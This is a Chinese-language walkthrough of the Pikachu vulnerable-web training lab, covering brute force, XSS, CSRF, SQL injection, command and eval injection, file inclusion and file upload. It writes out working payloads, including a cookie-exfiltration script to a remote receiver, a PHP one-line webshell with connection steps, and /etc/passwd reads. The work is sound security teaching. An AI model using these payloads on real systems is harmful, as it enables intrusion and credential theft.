暴力破解（Brute Force）

第 1 关表单暴力破解

原理白话：登录表单没有任何防爆破措施。你手动一个个试密码太慢，Burp 的 Intruder 能自动把字典里的密码挨个提交，你只需观察哪个响应"与众不同"。

1. 确认浏览器代理指向 Burp（2.2 已配好），打开登录页
2. 随便输入 admin / abc123 点登录 → Burp 的 Intercept 拦到 POST 请求（如果页面直接跳转了，说明 Intercept 是 Off，回去打开再试一次）
3. 在 Burp 里右键该请求 → Send to Intruder
4. 切到 Intruder → Positions 子标签 → 点 Clear § → 找到 password=abc123，用鼠标选中 abc123 → 点 Add §（变成 password=§abc123§）
5. 切到 Payloads 子标签 → 粘贴密码字典（至少包含：123456、password、admin、admin888、666666、000000、12345678）
6. 点 Start attack → 观察每条的 Length（响应长度）列
7. 长度与众不同的那条就是正确密码（正确时返回登录成功页面，比其他"密码错误"页面长）→ 找到 123456
8. 回浏览器用 admin / 123456 正常登录 → 显示"欢迎 admin"，通关

🤔 想一想：如果服务器把"密码错误"和"账号不存在"两种提示改成同一句话，对爆破有什么影响？

答：爆破者无法先确认账号是否存在，难度上升，但仍可爆破——这叫"统一错误提示"

第 2 关验证码绕过（on client）

原理白话：网页上的验证码是 JS 生成、JS 比对的，服务器只收账号密码，没有一句验证码校验代码。而攻击者用 Burp 发请求时不经过浏览器，等于跳过了所有前端逻辑。

看源码：在登录页右键"查看网页源代码"，能找到类似 validate() 的 JS 函数在前端比对验证码；服务端 PHP 只处理账号密码。

1. 打开关卡页面，先肉眼试一次：故意乱填验证码登录 → 发现能登录成功（因为验证码只在 JS 里比对，而 JS 是"前台装样子"）——这一步是为了直观感受
2. Burp 抓登录请求 → Send to Intruder
3. 只把 password 标记为爆破点（§ 包住密码值），验证码字段随便留个值，服务器不看它
4. Payloads 放字典（含 123456）→ Start attack → 找到长度异常的那条 → 密码 123456 命中

过关标准达成：不理会验证码也爆破成功——证明验证码只拦住了"人"，没拦住"程序"。

🤔 想一想：为什么验证码要"服务端生成"？

答：客户端生成的验证码，抓包就能看到明文/规律，等于没有

第 3 关验证码绕过（on server）

原理白话：验证码确实是服务端生成的，但校验通过后没有作废（session 里的验证码不刷新）。攻击者先手动提交一次正确验证码，抓到这次请求，之后爆破时一直复用同一个验证码值。

1. Burp 开拦截，登录页上输入 admin/abc123，验证码填正确的（看清图片里的字符），点登录 → Burp 抓到请求
2. 注意请求体里有 vcode 字段（就是验证码的值）——记下这个值
3. Send to Intruder → 把 password 标记为爆破点 → vcode 保持刚才那个正确值不变
4. 字典爆破 → 密码 123456 命中

为什么能成功：服务器校验"这个 session 对应的验证码对不对"，而你的 session 没变、验证码没刷新，所以同一个 vcode 一直有效。

🤔 想一想：如果每次爆破请求都换一个新的 session（不携带 Cookie），会怎样？

答：拿不到正确验证码，爆破失败——所以这关必须带上第一次抓包时的 Cookie

第 4 关token 防爆破

原理白话：每次打开登录页，服务器生成一个随机 token 塞在隐藏表单字段里，且服务端 session 同步记录。提交时必须带正确 token，否则直接拒绝。这是 Pikachu 暴力破解模块里最"接近正确防御"的一关，所以要上 Python 脚本自动完成"取 token → 提交"的循环。

1. 先肉眼打开登录页，右键查看源代码，找到 name="token" value="xxxxx" 的隐藏字段——确认 token 藏在哪（脚本要靠它提取）
2. 把下面的脚本保存为 bf_token.py（保存路径不要有中文和空格）：

import requests

url = "http://127.0.0.1/pikachu/vul/burteforce/bf_token.php"
s = requests.Session()

for pwd in ["123456", "password", "admin", "000000"]:
    # 1. 先 GET 页面，从返回的 HTML 里提取本次的 token
    html = s.get(url).text
    # token 藏在隐藏 input 里，形如 name="token" value="xxxxx"
    token = html.split('name="token" value="')[1].split('"')[0]

    # 2. 带 token 提交
    r = s.post(url, data={
        "username": "admin",
        "password": pwd,
        "token": token,
        "submit": "Login",
    })
    if "欢迎" in r.text or "admin" in r.text:
        print("密码是:", pwd)
        break

1. CMD 里 cd 到脚本目录，运行 python bf_token.py
2. 观察输出：密码是: 123456

🤔 想一想：token 防爆破和验证码防爆破，各自防的是什么？

答：token 防"重放/自动化提交"，验证码防"机器提交"，两者可叠加

这个模块的过关标准统一是：页面弹出 alert 弹窗（弹窗内容无所谓）。弹了 = 你的 JS 被执行了 = 通关。

第 1 关反射型 XSS（get）

原理白话：服务器把 URL 参数原样回显进 HTML，无任何编码。你输入的 <script> 不是被"显示"出来，而是被浏览器"执行"了。

看源码（在靶场目录打开 vul/xss/xss_reflected_get.php）：echo $html.$_GET['message'];——输入直接进 HTML，无任何编码。

1. 打开关卡页面，在输入框试 <script>alert(1)</script> → 发现塞不进去：输入框有 maxlength="20"（最多 20 字符）
2. 两种标准解法（都会）：

• F12 改长度：按 F12 → Elements 面板 → 找到那个 input 标签 → 双击 maxlength="20" 改成 maxlength="100" → 回页面输入框就能贴长 payload 了
• Burp 改参数：开拦截，提交一个短内容，抓到请求后在 Burp 里把参数值改成完整 payload 再 Forward

1. payload：<script>alert(document.cookie)</script>（弹窗显示 Cookie，说明脚本能拿到身份凭证）
2. 提交 → 弹窗 → 通关

过关标准达成：页面弹窗。这一步的意义：20 字符长度限制只是前端限制，永远不能当安全措施——浏览器端的一切限制都能被绕过。

🤔 想一想：前端长度限制为什么不算防御？

答：改请求可绕过，服务器根本不检查

第 2 关反射型 XSS（post）

原理白话：与 3.2.1 完全相同，只是参数在 POST 请求体里，地址栏看不到。

1. 先登录：进入页面会要求登录，用 pikachu / 000000
2. 登录后在输入框直接输入 <script>alert(document.cookie)</script> 提交 → 弹窗即通关
3. 攻击者视角演示：Burp 抓这个 POST 请求 → Repeater 改 payload → Send，效果一样（理解：POST 的 XSS 攻击是"发一个自动提交的表单页"）

🤔 想一想：GET 型和 POST 型 XSS 在"受害者中招方式"上有什么不同？

答：GET 一个链接即可引诱点击；POST 需要一个自动提交表单的恶意页面。漏洞本质相同，只是投递方式不同

第 3 关存储型 XSS

原理白话：留言板把用户提交的内容存进数据库，之后每个打开页面的人，浏览器都会执行这段脚本。

看源码：留言先 INSERT 入库，展示时直接从库里取出拼进 HTML——入库不消毒、出库不编码。

1. 留言框输入：<img src=x onerror=alert(document.cookie)>

（解释：img 标签加载图片，src=x 是一个必然不存在的图片地址，加载失败触发 onerror 里的 JS——绕开 script 标签的另一种写法）

1. 提交 → 自己刷新页面立即弹窗（因为你的脚本已入库，连你自己每次访问都执行）
2. 关键动作：换一个浏览器（或隐身窗口、同桌的电脑）访问留言板，同样弹窗——直观理解"人人中招"

🤔 想一想：为什么存储型危害最大？

答：无需诱导点击、可蠕虫传播、管理员也会中招——2005 年 MySpace Samy 蠕虫 1 天感染 100 万人

第 4 关DOM 型 XSS

原理白话：URL 里 # 后面的部分（叫 hash/fragment）根本不会发给服务器，但前端 JS 能读它。这关的 JS 从 URL 读 text 参数 → 直接写进 innerHTML → 浏览器执行。

看源码（页面 JS）：

// 从 URL 里取 text 参数 → 直接 innerHTML（危险 sink）
var str = document.getElementById("text").innerHTML = (new URL(location.href)).searchParams.get("text");

关键概念要记牢：source（location.search 等可控数据源）→ sink（innerHTML/eval 等危险写入点），中间没有过滤 = DOM 型 XSS。

1. 访问：http://127.0.0.1/pikachu/vul/xss/xss_dom.php?text=<img src=x onerror=alert(1)>
2. 弹窗即通关
3. 如果地址栏输入后没反应：特殊字符被浏览器处理了，换成 URL 编码再试：%3Cimg%20src=x%20onerror=alert(1)%3E（<→%3C，>→%3E，空格→%20）
4. 进阶观察：Burp 开着看这次请求，服务器响应干干净净没有 payload（这就是 DOM 型隐蔽的原因）

🤔 想一想：Burp 抓包为什么找不到攻击痕迹？

答：hash 部分不发送到服务器，漏洞全程在浏览器里发生

第 5 关DOM 型 XSS-X

原理白话：与上关同源，数据从表单提交进来，JS 拼接后 innerHTML。

1. 在输入框提交：'"><img src=x onerror=alert(document.cookie)>
2. 弹窗即通关
3. 理解开头 '"> 的作用：这段输入被 JS 拼进一段带引号的字符串里，'"> 先把字符串闭合掉，后面的 <img> 才能成为独立代码——这叫"闭合"思想，3.4 SQL 注入模块要反复用，现在先混个脸熟

🤔 想一想：为什么这关的 payload 要先闭合 </a> 标签？

答：注入点位于 <a> 标签的 href 属性内，不闭合标签，注入内容会被当成链接文字而不是新标签

第 6 关XSS 之盲打

原理白话：=存储型 XSS + 打后台。脚本的目标是管理员的 Cookie（管理员权限更高，价值更大）。这是 SRC 实战里最常见的 XSS 用法。

1. 登录前台（pikachu / 000000），留言框输入：

<script>alert(document.cookie)</script> （解释：document.cookie 是"看这条留言的人的 Cookie"——谁打开这条留言，弹窗里显示的就是谁的 Cookie）

1. 退出前台，切管理员登录后台：访问 http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php，账号 admin / 123456
2. 管理员查看留言列表 → 弹窗弹出管理员的 Cookie → 通关
3. 进阶玩法（了解即可）：把 payload 换成 <script>document.location='http://你搭建的接收端地址/?cookie='+document.cookie</script>，Cookie 就会被"外送"到你的接收端——这才是实战里偷 Cookie 的完整链路（本机版靶场没有自带收赃页，直接看弹窗即可）

过关标准达成：理解"盲打"的精髓——打的不是前台用户，是后台管理员。

🤔 想一想：盲打和普通存储型 XSS 有什么区别？

答：攻击目标不同——盲打针对"看不到回显的后台"，利用管理员查看动作触发

第 7 关XSS 之过滤

原理白话：服务器把输入里的 <script 相关内容删掉了。任务：绕过过滤。

看源码：

// 把<script及其中间内容全部替换为空
$message = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $message);

1. 试 <script>alert(1)</script> → 被过滤掉，无效（体会：过滤是"生效"的）
2. 绕过方案（重点体会"换一种执行方式"的思想）：<img src=x onerror=alert(document.cookie)> —— 完全不出现 script 字样
3. 提交 → 弹窗即通关

过关标准达成：明白一个道理——过滤 script 标签 ≠ 防 XSS，事件属性（onerror）、href、CSS 都是攻击面。

🤔 想一想：还能想出哪些不出现 "script" 五个字母的 XSS payload？

答：<svg onload=alert(1)>、<body onload=alert(1)>、javascript: 协议等

第 8 关XSS 之 htmlspecialchars

原理白话：htmlspecialchars() 默认只转义 <、>、"、& 这几个符号，不转义单引号（要加 ENT_QUOTES 参数才转义）。而这关的输出点在 <input value='...'> 的 value 属性里（单引号包裹）——输入一个单引号就能"提前关掉"这个属性，再在属性外面写入 onclick 事件。

看源码：

// 转义了，但默认参数不转义单引号！
$message = htmlspecialchars($_GET['message']);
// 输出在 input 的 value 属性里，且用单引号包裹 —— 单引号能逃出去
echo "<input type='text' value='{$message}'>";

1. 先试 <script>alert(1)</script> → 被转义成纯文本，无效（说明转义在生效，先建立信心）
2. 输入：' onclick='alert(1)（注意开头是个单引号）
3. 页面出现一个输入框，点击它 → 弹窗，通关

过关标准达成：理解"编码必须匹配上下文"——htmlspecialchars 转义了 HTML 标签，但默认参数漏了单引号，而输出又落在单引号包裹的属性里，防御就穿了。

🤔 想一想：这关的 payload 末尾为什么不用闭合单引号？

答：value 属性原本就有一个收尾单引号，我们提前用它来收尾，注入的 onclick 正好落在它前面

第 9 关XSS 之 href 输出

原理白话：源码里 htmlspecialchars 这次加了 ENT_QUOTES（引号也被转义了），但输出在 <a href='...'> 里——javascript: 伪协议不需要引号、不需要标签，照样执行。这个上下文的正确防御不是转义，而是协议白名单。

1. 输入 javascript:alert(document.cookie)
2. 点击生成的链接 → 弹窗通关

🤔 想一想：这一关源码里 htmlspecialchars 加了 ENT_QUOTES，引号全被转义了，为什么还能打？

答：转义只防"跳出属性值"，但 href 的属性值本身就能承载 javascript: 伪协议，根本不需要引号——所以 URL 上下文必须再加协议白名单

第 10 关XSS 之 js 输出

原理白话：用户输入被拼接进 <script> 标签内部的 JS 代码里（JS 上下文）。在 JS 上下文里，HTML 编码没用，必须按 JS 语法处理——正确做法是转义引号和反斜杠，或者干脆不把用户输入放进 JS。

看源码：

$ms = '<?php echo $_GET['message']; ?>';
// 输入直接落在单引号字符串内部

1. 输入：';alert(document.cookie);//
2. 弹窗即通关
3. 拆解这个 payload（这关的精髓，逐字符理解）：

• 原代码是 $ms = '你的输入'; —— 你的输入被单引号包着
• ' 先闭合掉左边的单引号 → 字符串结束
• ; 结束当前语句 → 现在可以写新语句了
• alert(document.cookie); 是你的新语句 → 弹窗
• // 把右边剩余内容（原来的 ';）注释掉 → 避免语法错误

过关标准达成：理解"闭合"与"注释"手法——这是 XSS 的最后一课，也是 SQL 注入的预习（3.4 模块的引号闭合思想一模一样）。

🤔 想一想：// 在这里的作用是什么？

答：注释掉后面原有的代码，避免语法错误导致脚本不执行

XSS 模块小结（复习用）

第 1 关CSRF（get）

原理白话：个人信息修改功能使用 GET 请求提交（参数全在 URL 里），没有校验请求来源。受害者点开链接时，浏览器带着他的登录 Cookie 发出请求，服务器照办。

1. 用 vince / 123456 登录，进入"修改个人信息"，把住址改成"北京"，提交
2. Burp 抓包，看到 GET 请求形如：

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=男&phonenum=138&add=北京&email=vince@pikachu.com&submit=submit （注意：所有参数都在 URL 里，这就是 GET 的"明信片"特性）

1. 攻击者视角构造恶意链接（把 add 改成攻击者想改的值，比如改成"钓鱼城"）：

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=138&add=钓鱼城&email=vince@pikachu.com&submit=submit

1. 模拟攻击：打开一个新浏览器/隐身窗口（目的是换一个"受害者"会话），先登录 vince，再访问上面这条恶意链接
2. 回到原窗口刷新个人信息 → 资料已被改成"钓鱼城"

过关标准达成：受害者只是"点了一下链接"，资料就被改了——这就是"借手"。

🤔 想一想：为什么攻击者不能直接自己发这个请求？

答：他没有受害者登录后的 Cookie，发出去也改不了——CSRF 的关键是让受害者的浏览器去发

第 2 关CSRF（post）

原理白话：POST 只是让攻击者不能"一条链接搞定"，但攻击者可以给你一个网页，网页里的 JS 自动提交一个隐藏表单——效果一样。

1. 登录 vince，修改信息，Burp 抓包确认是 POST、参数在请求体里
2. 构造钓鱼页面：把下面代码存成 demo.html，双击用浏览器打开（这可以自己写，也是很好的练习）：

<!-- demo.html：受害者访问即自动提交 -->
<html><body>
<form id="csrf" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
  <input type="hidden" name="sex" value="女">
  <input type="hidden" name="phonenum" value="138">
  <input type="hidden" name="add" value="钓鱼城">
  <input type="hidden" name="email" value="vince@pikachu.com">
  <input type="hidden" name="submit" value="submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>

1. 浏览器里打开这个本地 html（保持 vince 登录状态）→ 自动向靶场提交 → 回靶场刷新 → 受害者信息被改

过关标准达成：理解"GET 改 POST 挡不住 CSRF"，必须靠 token/来源校验。

🤔 想一想：如果表单里加了 CSRF Token，自动提交攻击还能成功吗？

答：不能，攻击者拿不到随机 token——这正是下一关 3.3.3 要验证的

第 3 关CSRF Token

原理白话：这关展示了正确的防御——表单里嵌入随机 token，服务器校验。攻击者构造的页面拿不到这个随机值，伪造请求被拒绝。

1. 登录 vince，Burp 抓包修改信息 → 看到请求里多了 token=随机值 字段
2. 在 Repeater 里把 token 改成任意错误值（如改成 abc）→ 发送 → 提交失败（服务器拒绝）
3. 尝试像上一关那样构造自动提交表单 → 因为拿不到 token，攻击失败（理解：攻击者的页面不知道受害者当前表单里的 token 是什么）

过关标准达成：亲眼看到"有 token 就伪造不了"——这就是 CSRF 防御的核心。补充：token 要放在 URL 之外（表单隐藏字段或请求头），否则会被 Referer 泄露。

🤔 想一想：token 为什么攻击者拿不到？

答：token 每次请求随机生成，且受同源策略保护，攻击者网页读不到受害者 session 里的内容

动手前先复习 0.7 的 SQL 十分钟入门——那十条语法就是本模块全部弹药。

贯穿全模块的口诀（记牢）：

先看参数怎么进 SQL（数字？引号？括号？）
→ 构造闭合，让语句成立
→ 用 # 或 -- 注释掉尾巴
→ or 1=1 恒真测试 → 进阶用 union / updatexml / sleep

本模块过关标准：能拿到数据库名（pikachu）或查出全表数据，即证明注入成立。

第 1 关数字型注入（post）

原理白话：参数直接以数字形式拼进 SQL，没有引号包裹，所以 payload 不需要处理引号闭合，直接追加逻辑即可——数字型是入门最简单的注入类型。

看源码：

// 输入 id=1 时，SQL 变成：
// select 用户名,邮箱 from member where id=1
$id = $_POST['id'];
$sql = "select * from member where id=$id";

注意 $id 两侧没有引号——这是数字型的标志。

1. 用 admin / 123456 登录后进入本关，输入框填 1，正常查出用户（先看正常流程）
2. 输入：1 or 1=1 → where 条件恒真，所有用户都被查出来
3. 进阶验证：1 or 1=1 order by 1 观察返回；再试 1 union select 1,2,database()（若列数对得上，页面会回显数据库名）

过关标准达成：or 1=1 后查出全部用户信息，证明注入成立。

🤔 想一想：数字型为什么不用引号闭合？

答：数字直接拼接，无需破坏引号结构

第 2 关字符型注入（get）

原理白话：参数被单引号包裹拼进 SQL。payload 必须先把引号闭合掉，语句才能成立。这是引号闭合思想的第一课，也是 SQL 注入最重要的基本功。

看源码：

$id = $_GET['id'];
$sql = "select * from users where id='$id'";   // 注意 $id 两侧的单引号

1. 访问 ?id=1 → 正常
2. 访问 ?id=1' → 报 SQL 语法错误（看到报错=注入点确认。记住："报错是攻击者的眼睛"——程序把错误细节都告诉你，等于把内部结构暴露给你）
3. 访问 ?id=1' or '1'='1 → 语句变成 where id='1' or '1'='1' 恒真，查出所有用户

过关标准达成：返回全部用户。拆解 payload 为什么这样写：1'（闭合左边引号） or '1'='1（恒真条件，同时把右边引号接上）——整个字符串拼接后语法完整，这是所有引号闭合的通用思路。

🤔 想一想：payload 里开头那个 ' 是干什么的？

答：闭合 SQL 里原有的左引号；末尾的 '1'='1 负责把右引号接上，让语句语法正确

第 3 关搜索型注入

原理白话：搜索功能用 like '%输入%' 做模糊查询。payload 要用 % 把 like 的引号结构闭合掉。

看源码：

$sql = "select * from member where username like '%$name%'";

1. 搜索框输入 k → 正常出结果（先看正常流程）
2. 输入：%' or 1=1# → SQL 变成 like '%%' or 1=1#%'，恒真，列出全部用户
3. 拆解：% 补全前面 '% 的模糊匹配 → ' 闭合引号 → or 1=1 恒真 → # 注释掉后面的 %'

过关标准达成：全部用户被列出。

🤔 想一想：为什么这里开头要先写一个 %？

答：把 like 的条件闭合成一个完整的 '%%'，否则语法不通

第 4 关xx 型注入

原理白话：参数被单引号+括号包裹：('$id')。闭合时要同时补上 ')。

看源码：

$sql = "select id,email from member where username=('$name')";

1. ?name=admin → 正常
2. ?name=admin' → 报错（报错信息提示有括号未闭合——学会读报错信息，它会告诉你差什么）
3. payload：admin') or 1=1 # → 恒真，列出全部

过关标准达成：全表列出。这关的价值：闭合方式不是背的，是从报错和源码推出来的——真实场景里没人告诉你括号怎么配，全靠试和看。

🤔 想一想：为什么这关叫"xx 型注入"？

答：闭合符可能是 '、")、')) 等各种组合，事先不知道，只能逐个试——体现"注入第一步是猜闭合符"的思想

第 5 关insert / update 注入

原理白话：注入发生在 INSERT/UPDATE 语句里。这类注入不常回显查询结果，所以报错注入是标配手法——用 updatexml() 之类的函数"故意制造报错，让错误信息把数据带出来"。

详细步骤（注册页 insert 注入，报错注入经典演示）：

1. 打开注册页，用户名输入：123' or updatexml(1,concat(0x7e,database()),0) or '
2. 提交 → 页面报错，错误信息里夹带出数据库名 pikachu
3. 替换 database() 继续读数据：

• 版本：updatexml(1,concat(0x7e,version()),0)
• 表名：updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1)),0)

1. update 注入同理：登录后修改个人信息时，在"性别"等字段里放同样的 updatexml payload

原理拆解（重点）：updatexml() 的第二个参数要求是合法的 XPath；concat(0x7e,database()) 拼出来的内容不合法 → MySQL 报错 → 错误消息里原样带上了 database() 的结果。这就是"报错带出数据"。

🤔 想一想：0x7e 是什么？

答：波浪号 ~ 的十六进制写法，用来在报错信息里分隔，方便肉眼定位

第 6 关delete 注入

原理白话：留言删除时，留言 id 被拼进 DELETE 语句。删除操作也没有回显，同样用报错注入。

看源码：

$id = $_GET['id'];
$sql = "delete from message where id=$id";

1. 登录后删除一条留言，Burp 抓包看到 ?id=1
2. Repeater 里把 id 改成：1 or updatexml(1,concat(0x7e,database()),0)
3. 发送 → 报错带出数据库名
4. 动手前先备份：phpStudy 面板的数据库工具里可导出 SQL（靶场初始化页也有重置功能，打坏了可以重新初始化）

过关标准达成：报错显示数据库名。

🤔 想一想：为什么 delete 注入这么危险？

答：能删数据、破坏性大；且往往发生在登录后的功能点

第 7 关http header 注入

原理白话：服务器把请求头里的 User-Agent 原样写进数据库。既然它进 SQL 语句时不做处理，那我们把 User-Agent 改成注入 payload，注入就成了。

看源码：

// 把 User-Agent 存入数据库
$sql = "insert into httpinfo(useragent) values('$ua')";

1. 登录后进入本关，页面回显自己的 User-Agent（你浏览器型号那串 Mozilla/5.0...）
2. Burp 拦截请求 → 找到 User-Agent 那一行 → 把值改成：

' or updatexml(1,concat(0x7e,database()),0) or '

1. Forward 放行 → 页面报错显示数据库名

过关标准达成：报错注入成功。学习要点：任何输入面都可能成为注入点（UA、Referer、X-Forwarded-For、Cookie）——只要服务器把请求的某个部分存进了数据库。

🤔 想一想：除了 User-Agent，还有哪些请求头会被服务器记录？

答：Referer、X-Forwarded-For、Cookie 等

第 8 关盲注（boolean based）

原理白话：服务器不报错、不回显查询结果，只回"查询成功"或"查询失败"。攻击者靠真/假两种页面差异逐位猜出数据。

1. ?id=1 and 1=1 → 页面正常（条件为真）
2. ?id=1 and 1=2 → 页面变化/无结果（条件为假）——两种响应差异就是"盲注的眼睛"，先确认存在差异
3. 逐位猜库名长度：?id=1 and length(database())>5 → 页面正常=真，说明长度大于 5（length() 返回字符串长度）
4. 逐位猜库名第一个字母：?id=1 and ascii(substr(database(),1,1))>100 → 真/假二分逼近（substr 取第 1 个字符，ascii 转成数字，比如 p 是 112）
5. 进阶：用脚本自动化猜（Python 循环），理解原理即可，不需要背代码

过关标准达成：理解"真假二值信息也能泄露完整数据"——盲注的本质是把数据变成大量的是/否问题。

🤔 想一想：盲注比普通注入慢在哪里？

答：每个字符要多次请求二分逼近，数据量大时需自动化工具

第 9 关盲注（time based）

原理白话：连真假页面差异都没有时，用时间差传递信息：条件成立就让服务器 sleep()，观察响应时间。

1. 正常访问 ?id=1，秒回（先感受正常速度）
2. ?id=1 and if(1=1,sleep(3),0) → 明显延迟约 3 秒（条件为真，if 函数执行 sleep(3)）
3. ?id=1 and if(1=2,sleep(3),0) → 秒回（条件为假）
4. 组合猜数据：?id=1 and if(length(database())>5,sleep(3),0) → 延迟=库名长度大于 5

过关标准达成：用手表/秒表感受 3 秒延迟差异。学习要点：时间是最可靠的"信使"。

🤔 想一想：布尔盲注和时间盲注各自适用什么场景？

答：无回显无报错→布尔；连真假差异都区分不了（如异步场景）→时间

第 10 关宽字节注入

原理白话：靶场模拟 GBK 编码数据库环境。GBK 是"双字节编码"，某些字节（如 %df）要和下一个字节合起来才算一个字符。转义函数加的反斜杠 \ 恰好被 %df 吞掉组成汉字"運"，单引号重新生效。

看源码：

// 输入被 addslashes 转义：' 变成 \'（单引号被"无效化"）
$id = addslashes($_GET['id']);
$sql = "select * from users where id='$id'";

1. 先看 ?id=1' → 不报错（被 addslashes 转义了，注入失败——体会"保安"在起作用）
2. payload：?id=1%df' or 1=1#
3. 原理：%df + \（十六进制 5C）在 GBK 下组成汉字"運"，反斜杠被吃掉，单引号成功闭合 → 注入成功

过关标准达成：or 1=1 生效。学习要点：转义不是万能药，字符集不一致时会被绕过。

🤔 想一想：为什么 UTF-8 环境很少见宽字节注入？

答：UTF-8 无 GBK 的多字节吞字节特性

SQL 注入模块小结（复习用）

第 1 关exec "ping"

原理白话：用户输入直接拼进 ping 命令执行，没有过滤命令分隔符。系统 shell 里 ;（顺序执行）、&（后台执行）、&&（前成功才执行）、|（管道）都能接第二条命令。

看源码：

$ip = $_POST['ipaddress'];
shell_exec('ping -c 4 ' . $ip);   // 拼接后交给系统执行

1. 输入 127.0.0.1 → 正常返回 ping 结果（先看正常流程）
2. Windows 环境：127.0.0.1 & ipconfig → ping 结果后面跟出 IP 配置信息
3. macOS 环境：127.0.0.1; whoami 或 127.0.0.1; ls /
4. 进阶演示（macOS）：127.0.0.1; cat /etc/passwd 读出系统用户文件

过关标准达成：攻击者的命令被执行。学习要点：; & && | 的含义（顺序执行/后台执行/逻辑与/管道），以及"把参数包起来"为什么挡不住（引号内命令分隔符依然生效，正确做法是参数化+白名单）。

🤔 想一想：把用户输入放进双引号 ping "$ip" 能防住吗？

答：防不住，; 在引号内仍被 shell 解析，正解是参数数组方式调用或严格格式校验

第 2 关exec "eval"

原理白话：服务器把用户输入直接喂给 PHP 的 eval()。eval() 是 PHP 里"把字符串当代码执行"的函数，天生危险。

看源码：

$html = $_POST['txt'];
eval($html);   // 用户输入当 PHP 代码执行

1. 输入 phpinfo(); → 页面打印出完整 PHP 环境信息（版本、扩展、路径）→ 通关
2. 进阶演示：system('whoami'); 或 system('ipconfig'); → 执行系统命令

过关标准达成：看到 phpinfo 页面。学习要点：eval 是 PHP 最危险的函数之一，等于把服务器钥匙交给用户。

🤔 想一想：eval 注入和命令注入有什么区别？

答：eval 执行的是 PHP 代码（更强大），命令注入执行的是系统命令；本质都是"用户输入被执行"

第 1 关本地文件包含（LFI）

原理白话：include($_GET['filename'])，参数可控 → 用 ../ 目录穿越读取任意本地文件。

看源码：

$filename = $_GET['filename'];
include "include/$filename";   // 无任何校验

1. 正常点页面上的按钮 → 包含 file1.php 等页面（先看正常流程）
2. macOS 环境：?filename=../../../../etc/passwd → 读出系统账号文件
3. Windows 环境：?filename=..\..\..\..\windows\win.ini → 读出 Windows 配置文件
4. 更实际的目标：?filename=../inc/config.inc.php → 读到靶场数据库账号密码（记住：配置文件是 LFI 第一目标——真实攻击里读数据库口令价值最高）

过关标准达成：系统文件内容出现在页面。

🤔 想一想：为什么 ../ 能穿越目录？

答：相对路径回溯上一级；服务器的"include" 拼接后成为实际文件路径，多级 ../ 可回退到系统根目录

第 2 关远程文件包含（RFI）

原理白话：allow_url_include=On 时（1.1 步骤 4 已配），include 支持 URL——攻击者让服务器去请求自己控制的"恶意文件服务器"，执行攻击者代码。

1. 前提检查：php.ini 里 allow_url_include=On（部署章节已配好）
2. 写一个带代码的 txt 文件 evil.txt（Windows 用记事本）：

<?php system('ipconfig'); ?>

1. 把这个文件放到一个"能通过 HTTP 访问"的位置——最简单方法：放进你的网站根目录 D:\phpstudy_pro\WWW\（Apache 已启动，它就是你的 Web 服务器），或另用 Python 起服务
2. 访问：?filename=http://127.0.0.1/evil.txt（指向你自己的 Web 服务；如果 Apache 端口是 8080，写成 http://127.0.0.1:8080/evil.txt）
3. 服务器包含该远程文件并执行 PHP 代码 → 页面出现 ipconfig 命令结果

过关标准达成：远程代码被执行。学习要点：RFI 比 LFI 危险一个量级——从"读文件"升级为"执行任意代码"。

🤔 想一想：为什么远程包含需要 allow_url_include=On 而本地包含不需要？

答：本地文件系统包含是基础功能；远程 URL 包含是危险扩展，PHP 默认禁用

动手前先准备：写一个一句话木马 evil.php（Windows 用记事本，保存时文件名写 evil.php、编码选 UTF-8）：

<?php @eval($_POST['cmd']); ?>

解释：eval 执行传入的 PHP 代码；$_POST['cmd'] 取"密码为 cmd"的 POST 数据。蚁剑连接时密码就填 cmd。

第 1 关client check（前端校验）

原理白话：只在前端 JS 校验"必须是图片后缀"。抓包绕过浏览器直接发包，服务器照单全收。

看源码：页面 JS 有 checkFileExt() 之类函数在提交前拦 .php；服务端 PHP 无任何校验。

1. 选 evil.php 点上传 → JS 弹"只允许图片"（体会前端拦路）
2. Burp 开拦截再点上传 → 抓到请求 → 找到 filename="evil.php"（如果它是被改成 .jpg 才过的 JS 校验，就把它改回 evil.php）
3. Forward 放行 → 上传成功，页面返回文件路径（记下，形如 unsafeupload/uploads/2026xxxx.php）
4. 用中国蚁剑连接该路径（2.3 节）：URL 填 http://127.0.0.1/pikachu/unsafeupload/uploads/你的文件名.php，密码填 cmd
5. 连接成功 → 打开虚拟终端输入 whoami 回车 → 出现用户名 → webshell 上线，通关

过关标准达成：webshell 上线。学习要点：前端校验只是"体验优化"，不是安全措施。

🤔 想一想：如果服务器把上传文件名强制改成 .jpg，木马还能执行吗？

答：不能直接执行，但配合文件包含/解析漏洞仍可能——引出下一关的图片马

第 2 关MIME type（Content-Type 校验）

原理白话：服务器校验的是请求头里的 Content-Type（"文件类型声明"）。这个字段由客户端说了算，改一下就行。

看源码：

// 服务器只检查上传时的 Content-Type 是否为图片类型
if ($_FILES['uploadfile']['type'] != 'image/jpeg' && ...) 拒绝

1. 直接上传 evil.php → 被拒（体会服务端在查）
2. Burp 抓上传请求 → 找到 Content-Type: application/octet-stream（或 text/php）
3. 改成 Content-Type: image/jpeg
4. 放行 → 上传成功 → 蚁剑连接（同 3.7.1 第 4-5 步）

过关标准达成：绕过成功。学习要点：Content-Type 是"自称"，不是"真相"——真正可靠的内容识别要看文件头字节（magic number）。

🤔 想一想：攻击者改 Content-Type 为什么能骗过服务器？

答：这个字段本来就是客户端生成的元数据，可任意伪造

第 3 关getimagesize（图片马）

原理白话：服务器用 getimagesize() 检查文件头，确认是真图片。绕过思路：图片是真的，但里面夹带 PHP 代码。

1. 制作图片马（Windows 的 CMD 里执行）：

copy /b 正常图片.jpg + evil.php 图片马.jpg （macOS 终端：cat 正常图片.jpg evil.php > 图片马.jpg） （没有现成图片就随便截个图保存为 jpg）

1. 上传图片马 → 通过 getimagesize 校验（它开头是合法图片头）
2. 服务器存为 .jpg 后缀，直接访问不会执行 PHP（先试一下直接访问，看到乱码/图片——理解为什么）
3. 配合 3.6.1 本地文件包含执行它：

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg

1. 包含时 jpg 里的 PHP 代码被执行 → 页面出现代码执行结果

